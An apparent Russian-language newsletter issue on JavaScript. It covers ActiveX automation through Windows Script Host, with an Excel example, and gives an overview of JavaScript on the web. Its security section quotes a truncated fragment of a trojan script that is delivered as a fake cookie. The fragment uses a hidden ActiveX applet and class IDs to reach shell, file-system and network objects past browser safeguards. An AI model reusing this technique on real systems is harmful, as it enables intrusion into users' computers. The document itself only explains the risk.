Отправляет email-рассылки с помощью сервиса Sendsay

Программирование на JavaScript

  Все выпуски  

Азы и секреты программирования на JavaScript.


Служба Рассылок Subscribe.Ru проекта Citycat.Ru

Азы и секреты программирования на JavaScript.

Выпуск 10

Использование JavaScript в роли пакетных файлов в среде Windows безусловно весьма полезная вещь. Особенно широкие возможности таких файлов открываются при использовании механизма OLE или интерфейса Automation. Не вдаваясь в технические подробности его принцип действия можно пояснить так: современные методы создания программ под Windows позволяют создавать приложения, которые могут работать в памяти компьютера как своеобразный сервис, или "сервер". Программа "клиент" может обращаться к свойствам данного сервера и пользоваться его методами, получая результат через специальные переменные.

Чтобы задействовать этот принцип в JavaScript, необходимо создать в памяти объект ActivX как переменную:

newObj = new ActiveXObject(servername.typename[, location])

Далее, используя созданную переменную newObj, можно использовать в своем сценарии возможности той программы, которую мы используем в качестве сервера. Например, cделать расчеты, пользуясь мощью табличного процессора Excel.

Маленький и очень простой пример - умножим 7 на 8, используя Excel:

// создаем объект - рабочую книгу Ecxel ExcelSheet = new ActiveXObject("Excel.Sheet"); // Разместим числа в чейки. ExcelSheet.ActiveSheet.Cells(1,1).Value = "7"; ExcelSheet.ActiveSheet.Cells(1,2).Value = "8"; // Запишем формулу ExcelSheet.ActiveSheet.Cells(1,3).Value = "=A1*B1"; // Получим результат: var ResX; ResX = ExcelSheet.ActiveSheet.Cells(1,3).Value; // выведем его на экран: var WSHShell = WScript.CreateObject("WScript.Shell"); WSHShell.popup ("Произведение равно: " + ResX); // Используя метод Quit закроем приложение Excel. ExcelSheet.Application.Quit();

Используя этот принцип можно проводить сложнейшие расчеты. Дополнительную информацию по созданию объктов ActiveXObject вы можете посмотреть в базе http://www.b-soft.ru/scripting/

Обратимся к использованию JavaScript в Web. Он идеально подходит для того, чтобы на скорую руку наделять Web-узел новыми возможностями. Когда основа заработает, можно думать и о создании полноценных приложений.

Для языка высокого уровня JavaScript обладает довольно сильными возможностями. Он не позволяет работать на уровне машинных кодов, однако вы получаете доступ ко многим возможностям броузеров, Web-страниц, а иногда и системы, в которой работает броузер. В отличие от Java или С, программы на JavaScript обходятся без компиляции, а вашему броузеру не придется загружать виртуальную машину для выполнения программного кода. Программируй и загружай!

JavaScript также работает в объектно-ориентированной архитектуре, напоминающей Java или С++. Такие возможности языка, как конструкторы или наследование на базе прототипов, добавляют в схему разработки новый уровень абстракции, что способствует многократному использованию программного кода.

В настоящее время JavaScript безусловно, является самым популярным сценарным языком в Web. Код JavaScript встречается не в тысячах, а в миллионах Web-страниц по всему миру. JavaScript поддерживается самыми распространенными Web-броузерами. И Netscape, и Microsoft, занимающие львиную долю рынка этих программ, постоянно ищут пути к расширению функциональности языка. Следовательно, JavaScript будет поддерживаться абсолютным большинством броузеров, используемых посетителями вашего Web-узла.

Правда я заранее должен предупредить читателей моей рассылки о том что мы будем использовать для примеров код, протестированный только c MSIE. Я не ставлю себе целью детально рассматривать совместимость различных типов броузеров. Наша задача узнать, что может JavaScript, и научиться использовать эти возможности. А что касается применения кода в конкретном броузере – желающие могут обратиться к технической документации на нужную программу.

Мне часто задают вопросы по поводу безопасности JavaScript в связи с использованием возможности создания объектов activeX имеющих доступ к файловой системе. Хочу успокоить Вас - "нормальные" броузеры не позволяют напрямую создавать со своих страниц объекты, обладающими правами доступа к файловой системе. При попытке запустить такой код появляется всплыващее окно, предупреждающее пользователя, что сценариий пытается создать небезопасный объект. Дальнейшее развитие событий будет зависеть от реакции пользователя - разрешит он или нет. При установке максимальных параметров безопасности такой код вобще будет игнорироваться программой броузера.

Но я не зря использовал фразу "напрямую создавать". Дело в том, что существуют некоторые обходные методы. Например, создатель интернет-вируса "JS.Trojan.Seeker-based" использует для внедрения вируса на компьютер пользователя механизм файлов Cookies. Под видом такого файла на компьютер клиента отправляется сенарий JS со следующим текстом:

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); if (navigator.appName == 'Netscape') var language = navigator.language; else var language = navigator.browserLanguage; function AddFavLnk(loc, DispName, SiteURL) { var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL"); Shor.TargetPath = SiteURL; Shor.Save(); } function f() { try { a1=document.applets[0]; a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Shl = a1.GetObject(); a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); a1.createInstance(); FSO = a1.GetObject(); a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Net = a1.GetObject(); .................

Теперь, при обращении к данному файлу, система безопасности уже может дать сбой, так как файл не в сети а на локальном диске клиента. А в сценарии под видом апплета запускается компонент ActiveX и начинаются всякие "безобразия".

Возможно-ли зарабатывать в Интернет?


http://subscribe.ru/
E-mail: ask@subscribe.ru
Отписаться
Убрать рекламу
Рейтингуется SpyLog

В избранное